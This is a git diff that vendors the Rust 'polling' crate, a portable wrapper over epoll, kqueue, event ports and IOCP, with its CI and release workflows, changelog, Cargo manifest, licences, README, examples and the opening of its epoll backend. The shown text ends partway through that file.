-0,0 +1,175 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # macOS for kqueue, Windows for iocp, illumos for port, fuchsia for poll. + additional-targets: aarch64-apple-darwin x86_64-pc-windows-msvc x86_64-unknown-illumos x86_64-unknown-fuchsia + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + include: + - os: windows-latest + rust: nightly-x86_64-pc-windows-gnu + - os: windows-latest + rust: nightly-i686-pc-windows-msvc + - os: windows-latest + rust: nightly-i686-pc-windows-gnu + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo test + - run: cargo test + env: + # Note: This cfg is intended to make it easy for polling developers to test + # the backend that uses poll, and is not a public API. + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg polling_test_poll_backend + if: startsWith(matrix.os, 'ubuntu') + - run: cargo test + env: + # Note: This cfg is intended to make it easy for polling developers to test + # the backend that uses pipes, and is not a public API. + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg polling_test_epoll_pipe + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - name: Clone async-io + run: git clone https://github.com/smol-rs/async-io.git + # The async-io Cargo.toml already has a patch section at the bottom, so we + # can just add this. + - name: Patch polling + run: echo 'polling = { path = ".." }' >> async-io/Cargo.toml + - name: Test async-io + run: cargo test --manifest-path=async-io/Cargo.toml + + cross: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + rust: [nightly, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - name: Install cross + uses: taiki-e/install-action@cross + - name: Add rust-src + if: startsWith(matrix.rust, 'nightly') + run: rustup component add rust-src + # We don't test BSDs, since we already test them in Cirrus. + - name: Android + if: startsWith(matrix.os, 'ubuntu') + run: cross test --target arm-linux-androideabi + - name: iOS + if: startsWith(matrix.os, 'macos') + run: | + rustup target add aarch64-apple-ios + cross build --target aarch64-apple-ios + - name: Linux x32 + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-linux-gnux32 + cross check --target x86_64-unknown-linux-gnux32 + - name: Fuchsia + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-fuchsia + cargo build --target x86_64-unknown-fuchsia + - name: illumos + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-illumos + cargo build --target x86_64-unknown-illumos + - name: Redox + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-redox + cargo check --target x86_64-unknown-redox + - name: HermitOS + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-hermit + - name: Check haiku + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-haiku + - name: Check vita + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target armv7-sony-vita-newlibeabihf + - name: Check ESP-IDF + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target riscv32imc-esp-espidf + + wine: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: x86_64-pc-windows-gnu + - run: cargo test --target x86_64-pc-windows-gnu + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --no-dev-deps --rust-version + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-freebsd + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-netbsd + if: startsWith(matrix.os, 'ubuntu') diff --git a/lib/malio/polling/.github/workflows/release.yml b/lib/malio/polling/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/polling/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/polling/.gitignore b/lib/malio/polling/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/polling/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/polling/CHANGELOG.md b/lib/malio/polling/CHANGELOG.md new file mode 100644 index 0000000..751c1bd --- /dev/null +++ b/lib/malio/polling/CHANGELOG.md @@ -0,0 +1,236 @@ +# Version 3.11.0 + +- Bump MSRV to 1.71. (#251) +- Update to `windows-sys` v0.61. (#251) + +# Version 3.10.0 + +- Add `wait_deadline` function. (#226) + +# Version 3.9.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#238) +- Update to `windows-sys` v0.60. (#239) + +# Version 3.8.0 + +- Implement `AsRawFd` and `AsFd` for `Poller` on Redox OS. (#235) +- Update `hermit-abi` to v0.5.0. (#229) +- Update `rustix` to 1.0 (#230). This also fixed a bug in `wait` which (contradicting docs) cleared the events vector instead of appending to it. +- Add support for QNX. (#201) + +# Version 3.7.4 + +- Add support for visionOS. (#217) +- Fix typos in documentation. (#216) + +# Version 3.7.3 + +- Update to `windows-sys` v0.59. (#214) + +# Version 3.7.2 + +- Update `hermit-abi` to v0.4.0. (#209) + +# Version 3.7.1 + +- Fix a typo in `Event::is_err()`. (#204) + +# Version 3.7.0 + +- Add support for the PS Vita as a platform. (#160) + +# Version 3.6.0 + +- Add an `is_err` method to `Event` to tell when an error has occurred. (#189) +- Deprecate the `is_connect_failed` function. (#189) +- Add support for HermitOS to `polling`. (#194) + +# Version 3.5.0 + +- Use the `epoll` backend when RedoxOS is enabled. (#190) + +# Version 3.4.0 + +- Add the ability to identify whether socket connection has failed. (#185) +- On BSD, add the ability to wait on a process by its PID. Previously, it was + only possible to wait on a process by a `Child` object. (#180) +- On ESP-IDF, annotate `eventfd` initialization failures with a message + indicating the source of those failures. (#186) + +# Version 3.3.2 + +- When AFD fails to initialize, the resulting error now references + the underlying system error. (#174) + +# Version 3.3.1 + +- Bump `windows-sys` to v0.52.0. (#169) + +# Version 3.3.0 + +- Automatically restarts polling when `ErrorKind::Interrupted` is returned, rather than relying on the user to handle it. (#164) +- Fix bad link in documentation for `Poller::wait()`. (#163) + +# Version 3.2.0 + +- The `kqueue` backend previously allowed the following operations that other backends forbid. Now these operations result in an error: (#153) + - Inserting a source that was already inserted. + - Modifying/deleting a source that was not already inserted. +- Add support for Haiku OS. (#154) + +# Version 3.1.0 + +- Add an `Event::new()` constructor to simplify creating `Event`s. (#149) + +# Version 3.0.0 + +- Replace `libc` in all backends with the `rustix` crate (#108). +- Use `tracing` instead of `log` for logging (#119). +- **Breaking:** Rework the API to use I/O safety. Note that this makes several previously safe functions unsafe. (#123) +- Add support for the ESP-IDF platform. (#128) +- **Breaking:** Make `Event` partially opaque, and create a new `Events` struct for holding events. (#133) +- Add support for running `polling` in Linux containers without `eventfd` available. (#134) +- Specify the behavior when registered in multiple `Poller`s. (#136) +- **Breaking:** Use `c_int` from the standard library in `polling::os::kqueue` instead of defining our own. (#143) +- **Breaking:** Remove the useless `std` feature. (#147) + +# Version 2.8.0 + +- Add functionality for posting events to the IOCP. (#101) + +# Version 2.7.0 + +- Add edge/oneshot combination mode. (#96) +- Update windows-sys requirement from 0.45 to 0.48. (#103) + +# Version 2.6.0 + +- Add level and edge triggered modes to the poller (#59) +- Support tvOS and watchOS (#60) +- Prevent large timeouts from causing panics on certain backends (#71) +- For certain BSDs, use `EVFILT_USER` to wake up the poller instead of a pipe (#73) +- For Solaris/illumos, use `port_send` to wake up the poller instead of a pipe (#74) +- Update `windows_sys` from 0.42 to 0.45 (#80) +- Expose other `kqueue` filter types (#83) +- Replace the Windows backend with a hand-written version, rather than bringing in a C dependency (#88) + +# Version 2.5.2 + +- Update use of `libc::timespec` to prepare for future libc version (#55) +- Update use of `libc::kevent` to prepare for future libc version (#56) +- Add error message for Wepoll (#54) + +# Version 2.5.1 + +- Fix the build error with MSRV on Windows + +# Version 2.5.0 + +- Switch from `winapi` to `windows-sys` (#47) + +# Version 2.4.0 + +- Fix the build error on illumos and Solaris (#43) +- Bump MSRV to 1.47 (#40) +- Optimize `Poller` internal representation (#40) + +# Version 2.3.0 + +- Implement `AsRawFd` for `Poller` on most Unix systems (#39) +- Implement `AsRawHandle` for `Poller` on Windows (#39) +- Implement I/O safety traits on Rust 1.63+ (#39) + +# Version 2.2.0 + +- Support VxWorks, Fuchsia and other Unix systems by using poll. (#26) + +# Version 2.1.0 + +- Switch from `wepoll-sys` to `wepoll-ffi`. + +# Version 2.0.3 + +- Update `cfg-if` dependency to 1. + +# Version 2.0.2 + +- Replace manual pointer conversion with `as_ptr()` and `as_mut_ptr()`. + +# Version 2.0.1 + +- Minor docs improvements. + +# Version 2.0.0 + +- Add `Event` argument to `Poller::insert()`. +- Don't put fd/socket in non-blocking mode upon insertion. +- Rename `insert()`/`interest()`/`remove()` to `add()`/`modify()`/`delete()`. +- Replace `wepoll-sys-stjepang` with an `wepoll-sys`. + +# Version 1.1.0 + +- Add "std" cargo feature. + +# Version 1.0.3 + +- Remove `libc` dependency on Windows. + +# Version 1.0.2 + +- Bump MSRV to 1.40.0 +- Replace the `epoll_create1` hack with a cleaner solution. +- Pass timeout to `epoll_wait` to support systems without `timerfd`. + +# Version 1.0.1 + +- Fix a typo in the readme. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.1.9 + +- Fix compilation on x86_64-unknown-linux-gnux32 + +# Version 0.1.8 + +- Replace `log::debug!` with `log::trace!`. + +# Version 0.1.7 + +- Specify oneshot mode in epoll/wepoll at insert. + +# Version 0.1.6 + +- Add logging. + +# Version 0.1.5 + +- Fix a bug where epoll would block when the timeout is set to zero. +- More tests. + +# Version 0.1.4 + +- Optimize notifications. +- Fix a bug in timeouts on Windows where it would trigger too early. +- Support sub-nanosecond precision on Linux/Android. + +# Version 0.1.3 + +- Improve error handling around event ports fcntl + +# Version 0.1.2 + +- Add support for event ports (illumos and Solaris) + +# Version 0.1.1 + +- Improve documentation +- Fix a bug in `Event::none()`. + +# Version 0.1.0 + +- Initial version diff --git a/lib/malio/polling/Cargo.toml b/lib/malio/polling/Cargo.toml new file mode 100644 index 0000000..c90090d --- /dev/null +++ b/lib/malio/polling/Cargo.toml @@ -0,0 +1,67 @@ +[package] +name = "polling" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v3.x.y" git tag +version = "3.4.0" +authors = ["Stjepan Glavina ", "John Nunley "] +edition = "2021" +rust-version = "1.71" +description = "Portable interface to epoll, kqueue, event ports, and IOCP" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/polling" +keywords = ["mio", "epoll", "kqueue", "iocp"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[package.metadata.docs.rs] +rustdoc-args = ["--cfg", "docsrs"] + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(polling_test_poll_backend)', 'cfg(polling_test_epoll_pipe)'] } + +[dependencies] +cfg-if = "1" + +[dependencies.tracing] +version = "0.1.37" +default-features = false +optional = true + +[target.'cfg(any(unix, target_os = "fuchsia", target_os = "vxworks"))'.dependencies.rustix] +version = "1.0.5" +features = ["event", "fs", "pipe", "process", "std", "time"] +default-features = false + +[target.'cfg(windows)'.dependencies] +concurrent-queue = "2.2.0" +pin-project-lite = "0.2.9" + +[target.'cfg(windows)'.dependencies.windows-sys] +version = "0.61" +features = [ + "Wdk_Foundation", + "Wdk_Storage_FileSystem", + "Win32_Foundation", + "Win32_Networking_WinSock", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_System_IO", + "Win32_System_LibraryLoader", + "Win32_System_Threading", + "Win32_System_WindowsProgramming", +] + +[target.'cfg(target_os = "hermit")'.dependencies.hermit-abi] +version = "0.5.0" + +[dev-dependencies] +easy-parallel = "3.1.0" +fastrand = "2.0.0" +socket2 = "0.6.0" + +[target.'cfg(unix)'.dev-dependencies] +libc = "0.2" + +[target.'cfg(all(unix, not(target_os="vita")))'.dev-dependencies] +signal-hook = "0.3.17" diff --git a/lib/malio/polling/Cross.toml b/lib/malio/polling/Cross.toml new file mode 100644 index 0000000..856f9b4 --- /dev/null +++ b/lib/malio/polling/Cross.toml @@ -0,0 +1,3 @@ +[target.arm-linux-androideabi] +# Workaround https://github.com/cross-rs/cross/issues/1128 / https://github.com/rust-lang/rust/issues/103673 +image = "ghcr.io/cross-rs/arm-linux-androideabi:edge" diff --git a/lib/malio/polling/LICENSE-APACHE b/lib/malio/polling/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/polling/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/polling/LICENSE-MIT b/lib/malio/polling/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/polling/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/polling/README.md b/lib/malio/polling/README.md new file mode 100644 index 0000000..b34ae0c --- /dev/null +++ b/lib/malio/polling/README.md @@ -0,0 +1,77 @@ +# polling + +[![Build](https://github.com/smol-rs/polling/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/polling/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/polling) +[![Cargo](https://img.shields.io/crates/v/polling.svg)]( +https://crates.io/crates/polling) +[![Documentation](https://docs.rs/polling/badge.svg)]( +https://docs.rs/polling) + +Portable interface to epoll, kqueue, event ports, and IOCP. + +Supported platforms: +- [epoll](https://en.wikipedia.org/wiki/Epoll): Linux, Android, RedoxOS +- [kqueue](https://en.wikipedia.org/wiki/Kqueue): macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, + DragonFly BSD +- [event ports](https://illumos.org/man/port_create): illumos, Solaris +- [poll](https://en.wikipedia.org/wiki/Poll_(Unix)): VxWorks, Fuchsia, HermitOS, other Unix systems +- [IOCP](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports): Windows, Wine (version 7.13+) + +By default, polling is done in oneshot mode, which means interest in I/O events needs to +be re-enabled after an event is delivered if we're interested in the next event of the same +kind. However, level and edge triggered modes are also available for certain operating +systems. See the documentation of the [`PollMode`] type for more information. + +Only one thread can be waiting for I/O events at a time. + +[`PollMode`]: https://docs.rs/polling/latest/polling/enum.PollMode.html + +## Examples + +```rust,no_run +use polling::{Event, Poller}; +use std::net::TcpListener; + +// Create a TCP listener. +let socket = TcpListener::bind("127.0.0.1:8000")?; +socket.set_nonblocking(true)?; +let key = 7; // Arbitrary key identifying the socket. + +// Create a poller and register interest in readability on the socket. +let poller = Poller::new()?; +poller.add(&socket, Event::readable(key))?; + +// The event loop. +let mut events = Vec::new(); +loop { + // Wait for at least one I/O event. + events.clear(); + poller.wait(&mut events, None)?; + + for ev in &events { + if ev.key == key { + // Perform a non-blocking accept operation. + socket.accept()?; + // Set interest in the next readability event. + poller.modify(&socket, Event::readable(key))?; + } + } +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or https://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or https://opensource.org/license/mit/) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/polling/examples/tcp_client.rs b/lib/malio/polling/examples/tcp_client.rs new file mode 100644 index 0000000..431c0ae --- /dev/null +++ b/lib/malio/polling/examples/tcp_client.rs @@ -0,0 +1,36 @@ +use std::{io, net}; + +use polling::Event; +use socket2::Type; + +fn main() -> io::Result<()> { + let socket = socket2::Socket::new(socket2::Domain::IPV4, Type::STREAM, None)?; + let poller = polling::Poller::new()?; + unsafe { + poller.add(&socket, Event::new(0, true, true))?; + } + let addr = net::SocketAddr::new(net::Ipv4Addr::LOCALHOST.into(), 8080); + socket.set_nonblocking(true)?; + let _ = socket.connect(&addr.into()); + + let mut events = polling::Events::new(); + + events.clear(); + poller.wait(&mut events, None)?; + + let event = events.iter().next(); + let event = match event { + Some(event) => event, + None => { + println!("no event"); + return Ok(()); + } + }; + + println!("event: {event:?}"); + if event.is_err().unwrap_or(false) { + println!("connect failed"); + } + + Ok(()) +} diff --git a/lib/malio/polling/examples/two-listeners.rs b/lib/malio/polling/examples/two-listeners.rs new file mode 100644 index 0000000..bf54eee --- /dev/null +++ b/lib/malio/polling/examples/two-listeners.rs @@ -0,0 +1,43 @@ +use std::io; +use std::net::TcpListener; + +use polling::{Event, Events, Poller}; + +fn main() -> io::Result<()> { + let l1 = TcpListener::bind("127.0.0.1:8001")?; + let l2 = TcpListener::bind("127.0.0.1:8002")?; + l1.set_nonblocking(true)?; + l2.set_nonblocking(true)?; + + let poller = Poller::new()?; + unsafe { + poller.add(&l1, Event::readable(1))?; + poller.add(&l2, Event::readable(2))?; + } + + println!("You can connect to the server using `nc`:"); + println!(" $ nc 127.0.0.1 8001"); + println!(" $ nc 127.0.0.1 8002"); + + let mut events = Events::new(); + loop { + events.clear(); + poller.wait(&mut events, None)?; + + for ev in events.iter() { + match ev.key { + 1 => { + println!("Accept on l1"); + l1.accept()?; + poller.modify(&l1, Event::readable(1))?; + } + 2 => { + println!("Accept on l2"); + l2.accept()?; + poller.modify(&l2, Event::readable(2))?; + } + _ => unreachable!(), + } + } + } +} diff --git a/lib/malio/polling/examples/wait-signal.rs b/lib/malio/polling/examples/wait-signal.rs new file mode 100644 index 0000000..e265be3 --- /dev/null +++ b/lib/malio/polling/examples/wait-signal.rs @@ -0,0 +1,67 @@ +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +mod example { + use polling::os::kqueue::{PollerKqueueExt, Signal}; + use polling::{Events, PollMode, Poller}; + + pub(super) fn main2() { + // Create a poller. + let poller = Poller::new().unwrap(); + + // Register SIGINT in the poller. + let sigint = Signal(rustix::process::Signal::INT.as_raw()); + poller.add_filter(sigint, 1, PollMode::Oneshot).unwrap(); + + let mut events = Events::new(); + + println!("Press Ctrl+C to exit..."); + + // Wait for events. + poller.wait(&mut events, None).unwrap(); + + // Process events. + let ev = events.iter().next().unwrap(); + match ev.key { + 1 => { + println!("SIGINT received"); + } + _ => unreachable!(), + } + } +} + +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +fn main() { + example::main2(); +} + +#[cfg(not(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +)))] +fn main() { + eprintln!("This example is only supported on kqueue-based platforms."); +} diff --git a/lib/malio/polling/src/epoll.rs b/lib/malio/polling/src/epoll.rs new file mode 100644 index 0000000..4137cf1 --- /dev/null +++ b/lib/malio/polling/src/epoll.rs @@ -0,0 +1,514 @@ +//! Bindings to epoll (Linux, Android). + +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; +use std::time::{Duration, Instant}; + +#[cfg(not(target_os = "redox"))] +use rustix::event::{eventfd, EventfdFlags}; +#[cfg(not(target_os = "redox"))] +use rustix::time::{ + timerfd_create, timerfd_settime, Itimerspec, TimerfdClockId, TimerfdFlags, TimerfdTimerFlags, +}; + +use rustix::buffer::spare_capacity; +use rustix::event::{epoll, Timespec}; +use rustix::fd::OwnedFd; +use rustix::fs::{fcntl_getfl, fcntl_setfl, OFlags}; +use rustix::io::{fcntl_getfd, fcntl_setfd, read, write, FdFlags}; +use rustix::pipe::{pipe, pipe_with, PipeFlags}; + +use crate::{Event, PollMode}; + +/// Interface to epoll. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the epoll instance. + epoll_fd: OwnedFd, + + /// Notifier used to wake up epoll. + notifier: Notifier, + + /// File descriptor for the timerfd that produces timeouts. + /// + /// Redox does not support timerfd. + #[cfg(not(target_os = "redox"))] + timer_fd: Option, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result 